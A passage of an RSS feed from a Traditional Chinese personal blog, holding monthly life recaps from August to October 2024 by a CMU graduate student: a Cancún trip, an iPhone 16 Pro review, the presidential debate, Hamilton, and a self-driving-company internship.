<li>去一個叫 <a href="https://maps.app.goo.gl/sJkmxqbtW7DKCWQYA" target="_blank" rel="noreferrer">Xplor<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 的主題樂園，票價不高但體驗值挺高的，私心覺得不會輸給環球影城或迪士尼樂園</li>
<li>剩下的時間在我們住的全包式度假村<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>裡當一坨會呼吸的肉</li>
</ul>
<p>這裡也是瑪雅文明的發源地，世界七大奇景之一的<a href="https://maps.app.goo.gl/w229stnd23kBLQmc7" target="_blank" rel="noreferrer">瑪雅金字塔<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>距離觀光熱區大概單程 3 個小時的車程。但是這一趟行程已經太多了，就留到以後有錢再來住更高級度假村的時候再說吧！</p>
<h2 id="-iphone-16-pro" class="relative group">📱 iPhone 16 Pro </h2><p>發現我在大家印象裡好像是個會每年新 iPhone 發表就會換手機的人，特此澄清：我的上一支是 iPhone 12 Pro。</p>
<p>去年暑假剛來美國的時候就開始感覺舊手機快不行了，當時在舊金山附近玩的時候瘋狂發燙、耗電量超大，不到半天就快沒電，於是就發下豪語：如果當年發表的 iPhone 15 改 Type-C 接口，就換手機。</p>
<p>事後 iPhone 15 發表還真的換上了 Type-C，結果是我食言了，沒換 XDDDDDD</p>
<p>第一個原因是，事後證明暑假的時候手機會中邪只是因為當時中華電信的 SIM 卡連不到美國的網路訊號，天線瘋狂運轉就會耗電又發燙，在那之後它<del>可能時差調好了</del>活的挺好的，沒太多其他毛病。第二個原因是，美金太貴了，去年 9 月剛好站上 32 塊的新高，在還有房租跟學費的前提下，真的是奇摩子有點不太好，又吃不消 <sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>。</p>
<p>於是又拖到了今年，看完發表會的心得老樣子——沒啥心得。平心而論，我覺得蘋果每年還是投入了非常多的心力在開發很多神奇的新功能，但看著我手上的手機也活的好好的，好像又很難去合理化花 3 萬多換一支手機的必要性。最終我又決定把另外一個條件與換手機掛勾：<a href="https://www.apple.com/apple-card/" target="_blank" rel="noreferrer">Apple Card<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 如果辦下來的話，就換。雖然說美國市面上有更多更好用的信用卡，但拿到一張刻上蘋果和高盛 Logo 的實體鈦金屬卡還是挺能充值信仰的。</p>
<p>於是辦下來之後，第一筆就拿去刷了這支新 iPhone 16 Pro。</p>
<p>既然都換了，就還是來速評一下 iPhone 12 Pro 以來的新功能：</p>
<ul>
<li>Action Button：用來取代原本的靜音開關，設定頁面的動畫非常有質感，但在我認真思考放什麼功能最實用之後，還是把它設回了靜音開關。也許之後認真想一下 Shortcut 能搭配什麼功能會有更有意思的設定，但那也是改天的事了。</li>
<li>新螢幕
<ul>
<li>大小：這塊新的螢幕比原本的大了 0.2″，具體來說就是邊界變的更窄了，但主觀上很難察覺，我自己意識到這個變化是因為我躺在床上握手機的手勢經常會在邊緣造成誤觸，所以這個改動對我來說還真是挺傷腦筋的。</li>
<li>更新率：這塊螢幕的更新率是 ProMotion 的 120Hz，拿來滑脆上的廢文特別舒服、絲滑，就是棒 👍🏻</li>
<li>Always-On：就是螢幕即使在待機狀態也不會完全關閉。這功能做在手錶上比較好理解，手機的話，除了分散工作時的注意力，我想不出來這個實際的用途會是什麼。大概等到我哪天看不順眼就會去把這功能關掉了吧 ¯\_(ツ)_/¯</li>
</ul>
</li>
<li>動態島：當年被嘴到不行的功能，但我私心非常喜歡。一方面這功能堪稱是人機互動工程中教科書等級的最佳示範<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup>。而且再怎麼說，點它的時候還會跟著呼吸放大縮小一下，有時還會觸發 Haptic 震動，簡直就像手機頭頂上有一塊虛擬果凍，沒事無聊的時候去戳個幾下心情都好了 ☺️</li>
<li>相機：多了好多我看不懂的功能，害的我開始思考畢業禮物買相機還合適嗎</li>
<li>Apple Intelligence：進化版的 Siri，觸發的時候螢幕邊緣會變彩色的，這動畫實際上看起來比看發表會影片還要炫砲，但用起來還是跟之前差不多鳥。本來以為可以完全取代 ChatGPT，但每次我問什麼他都只會幫我 Google，我到底要你幹嘛 🙃</li>
<li>車禍偵測、衛星通訊：理論上現在有，但希望用不到：）</li>
</ul>
<p>奇怪怎麼莫名其妙寫這麼多</p>
<p>Anyway 總結就是：手機發展到現在這個階段，本來就已經很難再有劃時代的新功能推出，但作為一個每天都會大量使用的日常物件，各方面的升級加總起來還是挺有感的，甚至說這些小細節的修飾提升了部分的生活品質也不為過。</p>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><ul>
<li>✅ 體驗一下熱鬧的美國萬聖節：如上，有點捨本逐末，但算是有吧&hellip;</li>
<li>❌ 把現在在看的書看完：除了去 Cancún 的時候在泳池邊看了 1/3，回來忙之後就沒什麼進度了 QQQQ</li>
<li>❌ 找一天週末騎 PBSC 去動物園玩一天：同上，太忙了沒空 QQQQQQQ</li>
</ul>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><ol>
<li>找一天週末騎 PBSC 去動物園玩一天：為了展現我的決心，我已經訂好日期了 (X</li>
<li>多寫一篇文章：現在在 Backlog 裡寫一半的文章有點太多了，挑一篇把它好好寫完</li>
<li>認真結算一下來美國至今燒了多少錢：預計應該是非常恐怖，但潘朵拉的盒子還是要開 (?</li>
</ol>
<h2 id="-那些我在-reddit-上看到的酷酷貼文" class="relative group">👻 那些我在 Reddit 上看到的酷酷貼文 </h2>
<blockquote class="reddit-embed-bq">
<a href="https://www.reddit.com/r/Showerthoughts/comments/1frouk7/deleted_by_user/">[deleted by user]</a><br> by
<a href=""></a> in
<a href="https://www.reddit.com/r/Showerthoughts/">Showerthoughts</a>
</blockquote>
<script async src="https://embed.reddit.com/widgets.js" charset="UTF-8"></script>
<blockquote>
<p>當你抬頭看向天上的星星時，說不定正在跟那顆星球上某個也在仰望星空的外星人四目相視呢！</p>
</blockquote>
<p>Well 技術上來說可能是幾百萬年前的外星人，但總之 (咳咳)</p>
<p>下個月應該會經歷許多在未來回頭看，可能是我人生中蠻重要的時刻，各方面都是。</p>
<p>🪐📡 要相信宇宙電波的力量 ⚡️✨</p>
<p>下個月見！</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>沒有要臭，真的：）&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>也是有可能只是我自己在亂想&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>就是包三餐、包酒水、包住、包活動什麼都不用額外付費的度假村&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>結果今年還是差不多，顯然這個因素根本不值得考慮：）&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p>這句話的前提是一個工程師笑話：It&rsquo;s feature not a bug。就是當有人跑來找工程師說有什麼東西壞了的時候，工程師經常會說這沒壞，這其實是一個功能：）而在這個案例，蘋果在沒辦法隱藏鏡頭和感測器的前提下，確實開發出了一個妥善運用這個黑色區塊的功能。&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2024-october-dump</guid><pubDate>Sat, 02 Nov 2024 23:26:44 -0400</pubDate></item><item><title>2024 年 9 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2024-september-dump/</link><description>Wait for it.</description><content:encoded><![CDATA[<p>上個月到月中才寫報報，本來還有點擔心這個月能寫的東西似乎不多，沒想到居然還是擠出了這麼多東西 XD</p>
<p>8 月回來重新體會到身為 CMU 的學生是一件多忙的事之後，只好拼命幫自己安排休閒娛樂 (X)。畢竟休息的時間如果沒有空下來，就會被其他課業和工作佔住 ¯\_(ツ)_/¯</p>
<h2 id="-總統辯論會" class="relative group">🗣️ 總統辯論會 </h2><p>美國總統選舉即將在今年 11 月登場，因此 9 月舉辦了一場電視辯論會，於是 CMU 的學生會訂了一堆披薩，在 McConomy Auditorium 轉播這場辯論會，讓大家一起來共襄盛舉<del>目睹民主這場鬧劇</del>。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-september-dump/presidential-debate.jpg"
      class="mx-auto my-0 rounded-md"
      alt="McConomy Auditorium 正在轉播總統辯論"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">這燈光還真有點電影院的感覺 🤔</figcaption>
</figure>
</p>
<p>在這邊幫沒看什麼新聞的人快速前情提要一下：</p>
<ul>
<li>川普 7 月在賓州的戶外造勢遭到狙擊，本人沒有什麼大礙。<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> 但他的競爭對手拜登，雖然不在場，卻在一週後應聲倒下<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>，宣布退選。</li>
<li>現任總統賀錦麗隨即接替拜登參選，雖然不是所有民主黨的大佬都支持，但仍然為選舉注入了不少活水</li>
<li>川普跟賀錦麗其實從來沒有見過面，私底下也沒有，這場辯論會是兩位候選人首次見面，也是首次正面同台交鋒</li>
</ul>
<p>你可能會想像這是一個無聊的場合，但其實完全相反 XDDD</p>
<p>首先，有披薩，這應該不用解釋。</p>
<p>再來，學生會在大家入場的時候發了這個：</p>


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/2024-september-dump/presidential-debate-bingo.jpg"
      class="rounded-md max-h-96 mx-auto"
      alt="總統辯論會賓果"
      loading="lazy" decoding="async"
    />
  </picture>


    <figcaption class="text-center">想不到吧 XDDD 竟然是賓果</figcaption>
  </figure>


<p>而且每當川普又口出狂言的時候，大家就會笑個不停，特別是其中一段他講了一長串的故事，然後主持人接話的時候，一派正經的補充說明 fact-check 過這個故事不是真的，全場笑到不行 😂</p>
<p>與其說是來看辯論會，其實更像在看 Stand-up Comedy (?) 不知道投票當天會不會有開票直播大會，有點期待哈哈哈哈</p>
<h2 id="-cmu-philharmonic" class="relative group">🎻 CMU Philharmonic </h2>

<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-september-dump/cmu-philharmonic.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="CMU 的音樂學院學生"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-september-dump/allgheny-county-soldiers-memorial.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Allgheny 郡的將士紀念館"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<figcaption class="text-center">這次的公演舉辦在將士紀念館，適逢 911 紀念日，廣場的路燈掛滿了狗牌，每一面都代表了在 911 當天喪生的人</figcaption>
<p>CMU 音樂學院的開學公演！</p>
<p>有表演一些貝多芬的經典曲目，還有一些是由本地的作曲家新譜出來的曲子，說實在我也不是很懂，但秉持著一貫的經驗，如果閉目養神的時候眉毛不自覺的抖了一下，那大概就是哪裡怪怪的 (X</p>
<p>其實演奏的曲目並沒有真的很重要，但在一個悠閒的晚上，享用一頓豐盛的晚餐，聽一些音樂，吹著晚風散步回家，總是值得享受。</p>
<h2 id="-hamilton-an-american-musical" class="relative group">🕺🏿 Hamilton: An American Musical </h2>

  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/2024-september-dump/hamilton-programme.jpg"
      class="rounded-md max-h-96 mx-auto"
      alt="漢密爾頓手冊"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>


<p>《漢密爾頓》應該是近代音樂劇最賣座的音樂劇，一推出就廣受好評，可以說是叫好又叫座，隔年也不負眾望橫掃東尼獎。故事講述的是美國開國國父 Alexander Hamilton 從出生貧困的家庭、默默無聞、一路到走到最後成為美國開國元勳的故事。音樂則是由饒舌搭配少許電子音樂的元素，有別於傳統管弦樂的配置，是音樂劇相對少見的設定。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-september-dump/benedum-center.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Benedum Center"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">週末的晚上還下了一點小雨，走來劇場的時候還挺有氣氛的</figcaption>
</figure>
</p>
<p>這次來匹茲堡巡迴的卡司主要是國際巡迴的成員，少部分是百老匯原班人馬。但反正我這種門外漢也分不出來，但感覺應該&hellip;不會差太多 (?)，再加上我的座位在二樓，這個距離完全只能靠聽講話的內容來分辨現在講話的是哪一個角色，根本也看不清楚角色的容貌和表情。</p>
<p>不知道是不是事前看太多影評把這部吹的太高 <sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>，實際看的時候似乎沒有想像中的那麼震撼。後來回想的時候覺得有可能是我本來就對饒舌比較沒興趣。同時聽饒舌歌詞來追蹤劇情、還要反芻品味歌詞的一些細節、視線又要跟著台上的其他角色走動，久了感官真的是會有點疲乏。或許回家看了電影或之後有機會再看一次的時候，才會細細品味出這部作品的有趣之處吧！</p>
<p>最終真正讓我留下印象深刻的反而是旋轉地板搭配舞台道具和演員走位的使用，所呈現出的畫面感，有種類似冰上芭蕾或是<a href="https://zh.wikipedia.org/wiki/%E5%AD%90%E5%BC%B9%E6%97%B6%E9%97%B4" target="_blank" rel="noreferrer">子彈時間<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>的特效，有別於靠聲光特效的呈現，這樣的效果感覺更純粹，也更巧妙。</p>
<p>漢密爾頓的電影可以在 <a href="https://www.disneyplus.com/movies/hamilton/3uPmBHWlO6HJ" target="_blank" rel="noreferrer">Disney+<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 上觀看，據說明年也有可能會巡迴到台灣，有興趣的人不妨可以追蹤一下。</p>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><h3 id="-多出門" class="relative group">✅ 多出門 </h3><p>上面的各種活動應該算是有達成這些目標了吧：）</p>
<h3 id="-看書--書評" class="relative group">🟡 看書 + 書評 </h3><p>發現自從回來忙到不知道該做什麼事的時候，直覺養成了一種不知道現在可以幹嘛就趕快去睡覺，能多睡就多睡的習慣。再加上最近調整到晚上 8、9 點吃完晚飯，就直接去洗澡，看點書然後睡覺，把正事留到隔天早上 4、5 點起來再做，感覺還挺不錯的，這個時間沒有什麼人會來吵我，可以專心做想做的事情。</p>
<p>看書是有了，但書評還是沒寫，可見我的工作量還需要再下修一點，留到下個月吧！</p>
<h3 id="-準時發報報" class="relative group">❌ 準時發報報 </h3><p>好啦又遲了，我決定把這個鍋甩給把期限設在 9/29 的 Database Project 1</p>
<p>原本的計畫是週末要寫這份 Project + 報報 + 有空再處理一下 TA 的工作，最後光 Porject 就給我搞到晚上 10 點，原本上面調好的作息也不見了，真是氣死：）</p>
<hr>
<p>最後想來寫一下最近的一些感觸&hellip;&hellip;</p>
<h2 id="-我的人生劇本似乎注定孤獨" class="relative group">🧑🏻‍🦯 我的人生劇本似乎注定孤獨 </h2><p>在我闡述這個概念之前：這麼寫並不是想表達我的生命中缺少一個女朋友。<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup></p>
<p>一直找不太到準確描述這種感覺的方式，直到之前看了<a href="https://youtu.be/5OIbNr0TGv8" target="_blank" rel="noreferrer">博恩跟龍龍的聊天<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>發現一個挺好的比喻：想像每個人的人生都是一齣戲，那身為這齣戲的主角，你自然就會有一個劇本，雖然說這齣戲要怎麼演很大程度還是取決於自己，但總還是會隨著時間推展，慢慢摸出老天爺為你的劇本安排了些什麼橋段。</p>
<p>龍龍拿到的設定是悲劇故事的主角，而我的角色，姑且就說是獨行者吧。<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup></p>
<p>這個理論應該在國中的時候就已經有一個初步的猜想，接著在高中的時候得到驗證——我的人生劇本是孤獨的。簡單來說：在每個有分離和進入新環境的階段，不管是分班、升高中、升大學、甚至到後來轉學、交換、留學，總是沒有人跟我一起前往新環境，我往往都是獨自選擇踏上一條路的。我當然依舊會在不同階段交到不同的朋友，大部分也都還是會偶爾聯絡，聊聊最近的生活和困惑，但我心裡很明白對他們來說這就是一個故事，散會之後，下一幕的劇本，總得是我親自執導。</p>
<p>最近在快要畢業的這個時間點，這個熟悉的感覺又慢慢在午夜夢迴的時候，悄悄跑出來作祟。</p>
<p>我原本覺得，來美國唸書、畢業、找工作，會是一個相對單一、直覺、高度重疊的過程，但逐漸開始體會到，不是每條路都適合每個人，有些路我走不了，有些路我不想走，有些路能走，但會走的坎坷、劈荊斬棘。退一萬步來講，當我們每個人都用了不同方式來到這個地方，那我們自然就注定會用各自不同的方式前往下一站，沒有人能夠複製其他人的成功。</p>
<p>只能說雖然羅馬只有一個，但我想我們也只能約在那邊見面了</p>
<p>寫給自己，也寫給正在讀這篇文章、面臨十字路口的每個你：</p>
<blockquote>
<p>I am the one thing in life I can control</p>
<p>&ndash; <cite>Hamilton, 2015</cite></p>
</blockquote>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><ol>
<li>把現在在看的書看完</li>
<li>找一天週末騎 PBSC 去動物園玩一天</li>
<li>體驗一下熱鬧的美國萬聖節</li>
</ol>
<p>加油！快畢業了！</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>Fun fact: 事件發生的地點在 Butler，距離我學校 CMU 只要不到一個小時的車程&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>他 (物理上) 沒倒下，特此澄清&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>超粒方怎麼又是你&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>Well actually, 我缺，只是不是現在，也不是我這裡想討論的主題：）&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p>我原本想到的名字是「獨行俠」，但總覺得扮演這個角色應該會很帥，所以如果我不這麼覺得那似乎配不上這個名字&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2024-september-dump</guid><pubDate>Mon, 30 Sep 2024 20:47:43 -0400</pubDate></item><item><title>2024 年 8 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2024-august-dump/</link><description>實習、加州、暑假、好天氣一起掰掰</description><content:encoded><![CDATA[<p>作為人生的最後一個暑假，好像有點平淡，8 月最後就是把在灣區這邊實習的工作告一個段落，然後整理一下就回來匹茲堡了。</p>
<h2 id="-再會weride" class="relative group">🫡 再會！WeRide！ </h2><p>我的實習是從 5 月底到 8 月底，不多不少差不多是 12 週，有期中跟期末報告，這樣說起來好像也有點像是在修一門課 (?)。期中之後有跟我的 <abbr title="導師">mentor</abbr> 討論後半段要做什麼，但可能因為我也很上手了，所以其實實習的後半段節奏變的相對緩慢，輕輕鬆鬆就把大部分的事情做完了。</p>
<p>簡單帶過一下我的實習日常：</p>
<table>
  <thead>
      <tr>
          <th>Time</th>
          <th>Task</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>9:00</td>
          <td>起床 (通常會再偷瞇個 15 分鐘 xD)</td>
      </tr>
      <tr>
          <td>9:40</td>
          <td>進公司，去零食櫃抓一些麵包、倒一杯牛奶當早餐、看看新聞</td>
      </tr>
      <tr>
          <td>10:30</td>
          <td>回憶一下昨天幹了啥</td>
      </tr>
      <tr>
          <td>10:45</td>
          <td>跟 mentor 回報進度，決定今天要做啥</td>
      </tr>
      <tr>
          <td>11:00</td>
          <td>想一下今天要做的東西可以怎麼搞</td>
      </tr>
      <tr>
          <td>11:50</td>
          <td>去<del>人民公社</del>食堂幹飯</td>
      </tr>
      <tr>
          <td>12:30</td>
          <td>去休息室躺懶骨頭玩一兩局 Duolingo 然後 swag 午覺</td>
      </tr>
      <tr>
          <td>13:00</td>
          <td>開始幹正事</td>
      </tr>
      <tr>
          <td>15:00</td>
          <td>好棒！三點了！<br/>去廁所棒個賽滑手機滑個 20 分鐘<br/>然後去零食櫃晃晃，享受一下 snack break</td>
      </tr>
      <tr>
          <td>15:40</td>
          <td>再幹點活</td>
      </tr>
      <tr>
          <td>17:00</td>
          <td>組內每日 stand up meeting<br/>通常沒我的事，我喜歡在這時間滑脆</td>
      </tr>
      <tr>
          <td>17:30</td>
          <td>出會議室直接左轉食堂幹飯<br/>通常一個禮拜我會給自己 2 天外食的扣打，<br/>我會根據今天晚餐的恐怖程度來決定要不要外食</td>
      </tr>
      <tr>
          <td>17:30 or 18:00</td>
          <td>完食即下班！或是如果外食的話就是直接下班！</td>
      </tr>
  </tbody>
</table>
<p>忘記之前在哪裡滑到一篇文，說資深工程師越過雷區的方式就像在逛花園，我感覺我實習的後半段算是有抓到一點精髓 (?)</p>
<p>至於我做了啥，雖然是在自駕車公司，但其實我做的東西跟自駕車一點屁毛關係都沒有。我做的是支援自駕車工程師的工具，是個有點類似 CI/CD Pipeline 的平台，可以想像成為公司客製化的 GitHub Action 或是 Jenkins，然後再加一些更ㄏㄧㄏㄨㄚ的功能，具體細節就不贅述了，有興趣的人可以私下約我聊聊。</p>
<p>期末報告完之後有找了一些工程師聊聊天，<a href="/zh-tw/posts/eli5-how-does-self-driving-work/">寫了一篇文</a>介紹自駕車演算法是怎麼運作的，有興趣的可以去看看。</p>
<p>總的來說，是個有點充實，卻也稍微能從容勝任的一份實習吧。</p>
<h2 id="-灣區生活" class="relative group">🏞️ 灣區生活 </h2><p>結論是我沒有很喜歡 QQQQ 至於詳細的原因，就放在<a href="/zh-tw/posts/sf-bay-area/">另外一篇文</a>了。</p>
<h2 id="-重回匹茲堡" class="relative group">🏛 重回匹茲堡 </h2><p>MSE 的最後一個學期除了修一門選修課之外，整個學期只有一件大事—— Practicum，其實就跟台灣畢業專題的概念差不多，我們的學程是比較實務導向的，所以不需要寫論文，取而代之的就是這個畢業專題，跟普通畢業專題比較不一樣的是，專題是由業界公司贊助的，所以我們實際上更像是在做另外一份實習，只是內容比較貼近我們在 MSE 所學的內容。</p>
<p>那為了讓大家可以選自己有興趣的專題，MSE 在開學的前一個禮拜五舉辦了一場說明會，讓每間公司來簡報他們贊助的專案。</p>
<p>於是我把實習的最後工作日壓在星期三，星期四飛回匹茲堡，然後隔天星期五馬上一頭栽進 Practicum ：）</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-august-dump/freedom-one.jpg"
      class="mx-auto my-0 rounded-md"
      alt="自由一號"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">這一趟回匹茲堡的飛機是坐西南航空，剛好其中一段是由他們的特殊彩繪機——「Freedom One」執飛，這圖案真的是有夠美國 XDD</figcaption>
</figure>
</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-august-dump/dippy-with-hat.jpg"
      class="mx-auto my-0 rounded-md"
      alt="一隻巨無霸恐龍雕像，帶著生日派對帽"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">回 CMU 都會見到兩隻恐龍，一隻是在匹茲堡機場大廳的恐龍化石，另一隻就是這隻在卡內基 Music Hall 門口的 <a href="https://maps.app.goo.gl/kRJiiXztdoTzacpz8" target="_blank" rel="noreferrer">Dippy<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>。看看他最近還戴了可愛帽帽</figcaption>
</figure>
</p>
<p>我在回來的飛機上發了一篇限時動態：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">life stash push -m san-jose
</span></span><span class="line"><span class="cl">life stash pop stash^<span class="o">{</span>/pittsburgh<span class="o">}</span>
